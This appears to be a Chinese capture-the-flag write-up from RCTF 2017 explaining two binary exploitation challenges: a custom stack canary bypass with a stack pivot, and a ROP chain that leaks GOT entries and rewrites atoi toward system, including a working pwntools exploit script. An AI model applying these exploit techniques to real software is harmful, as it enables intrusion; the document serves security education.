作者:Hcamael@知道創宇404實驗室
發布時間:2017-05-23
這次RCTF,對于本以為掌握了的ROP,學到了新的姿勢,在這里總結下。
本文不進行實例調試,用腦子DEBUG......詳細文件可以去我的github上找...
RCalc
首先是計算器這題,作者自己實現了一個canary,首先在每個函數開頭通過sub_400AAB函數生成了一個隨機數,存放到堆中,和棧上面,然后在函數結尾使用sub_400B92函數檢查這個棧上的隨機數和堆中的隨機數是否一樣。
然后可以去看看sub_400A06函數,在存放canary的堆上面有個一個0x100的堆,用于存放需要保存的計算結果,這個結果保存的函數沒設定邊界值,所以可以覆蓋到canary的堆,從而覆蓋到canary。
繞過canary后,在sub_400FA2函數中,scanf函數存在棧溢出,正常情況下想,之后就是通過ROP很容易就能getshell了。
但是,這里有一個坑點,scanf函數的%s不能出現\x09, \x0a, \x0b, \x0c, \x0d, \x20
經過測試,如果輸入中出現這幾個字符,會被轉成\x00,或者之后的數據就不會被讀入變量中。
這對我來說非常致命,因為got表的地址中都含有\x20,還有一些ROP被這些字符限制著,當時還想到了一個別的思路,比如利用read函數或者sub_400c4e函數,但是沒找到控制rdx的ROP所以沒法用read函數,另外,就算能調用,也沒有思路下一步該怎么做,該讀到什么位置?然后該怎么通過read繼續溢出?
而關于sub_400c4e函數,雖然函數中含有\x0c字符,但是我找到了一個
add eax, 0x48002018 ; test eax, eax ; je 0x400803 ; call rax
通過這個ROP就能調用sub_400c4e了,而rdx為最后一次choice輸入的值,因為處理這個輸入值得時候有個cdqe,雖然如果我輸入0x100000005在判斷中也是5,通過這個思路,可以讓sub_400c4e函數中進行溢出,rdi和rsi也都是可控的。
但是在測試中發現,首先我不知道棧地址,所以沒法控制rsi,而在sub_400FA2函數的ret指令時,rsi正好就是一個棧地址,在當前棧地址的很上面,這種情況下,棧溢出會覆蓋掉sub_400c4e的局部變量,導致沒法成功進行棧溢出。
在比賽結束之后,看來國外的一篇wp后,學到了兩個知識點: http://hama.hatenadiary.jp/entry/2017/05/22/092142
首先是他們找的ROP:
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8];
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15; ret ;
通過這個ROP基本可以調用任意函數了,我找ROP一般是使用默認的命令:
$ ROPgadget --binary RCalc
但是卻沒有這個ROP,需要用
$ ROPgadget --binary RCalc --depth 11
才有第二句ROP,而第一句還是沒有。。所以我發現,我在找ROP上還是太菜了....
UPDATE 20170528
經過大佬教育,原來這是64位程序中存在的一個萬能ROP,這兩句ROP在同一個函數里,而這個函數是gcc編譯進程序中去的
其實,當時我已經基本可以做到調用任意函數了,但是關鍵點還是第二點。
使用:
leave ; ret ;
來修改棧地址,這樣一來思路就很清晰了。
找一段可以寫的地址,比如bss區域,寫入ROP,然后再把rsp修改成該地址,就可以getshell了,同read函數向bss區域寫值,然后使用leave修改rsp
我還是太菜,從來沒想過修改棧地址......
Recho
本來也是一道簡單的棧溢出,但循環的判斷:
while(read(0, buf, 0x10)>0)
要棧溢出首先得先停了這個循環,在shell中可以使用ctrl+d表示EOF,但是腳本咋寫? 發現pwntools可以用下面的命令發送EOF
s = remote(xxxx,xx)
s.sock.shutdown(socket.SHUT_RW)
但是這樣我們沒法繼續輸入了,所以我們需要發送一次payload就getflag,我們只能getflag而不能getshell,因為服務器已經關閉了接收我們數據的連接。
這題沒有libc,所以寫ROP又是一個技術活....
使用下面這個PoC:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
# context.terminal = ['terminator', '-x', 'bash', '-c']
debug = 1
if debug:
p = remote("127.0.0.1", 10001)
else:
p = remote("recho.2017.teamrois.cn", 9527)
e = ELF('Recho')
# gdb.attach(p)
padding = 0x38*'a' #padding
# write(1, got['read'], 8)
payload = ""
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['read']) # rsi = got.plt read
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write
# write(1, got['write'], 8)
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['atoi']) # rsi = got.plt atoi
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write
p.readuntil("server!\n")
p.sendline('1000')
p.sendline(padding + payload)
p.recv()
p.sock.shutdown(1)
print u64(p.recv(8)) - u64(p.recv(8))
p.interactive()
經過遠程和本地測試對比,發現遠程的libc應該和我本地的一樣
然后使用本地的libc寫payload就好了。。
思路是改寫got表中隨便一個函數的地址改成system就好了,比如我修改的是atoi函數,然后找binary中的ROP,找到下面三個:
pop rdi; ret;
pop rax; ret;
add [rdi], al; ret;
通過這三個,我們就能修改偏移了,比如:
payload += p64(0x4008a3)+p64(0x601040) # pop rdi; ret; rdi = 0x601040; atoi
payload += p64(0x4006fc)+p64(0x10) + p64(0x40070d) # pop rax; ret; rax = 0x10; add [rdi], al; ret;
payload += p64(0x4008a3)+p64(0x601041) # pop rdi; ret; rdi = 0x601041;
payload += p64(0x4006fc)+p64(229) + p64(0x40070d) # pop rax; ret; rax=0xe5; add [rdi], al; ret;
這相當于got表中atoi函數的地址加上0xe510
同樣再使用上面的ROP往bss中寫入cat flag,最后輸出的指令是system('cat flag')
總結
本以為棧溢出都會了,其實還是太菜.....
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/444/
暫無評論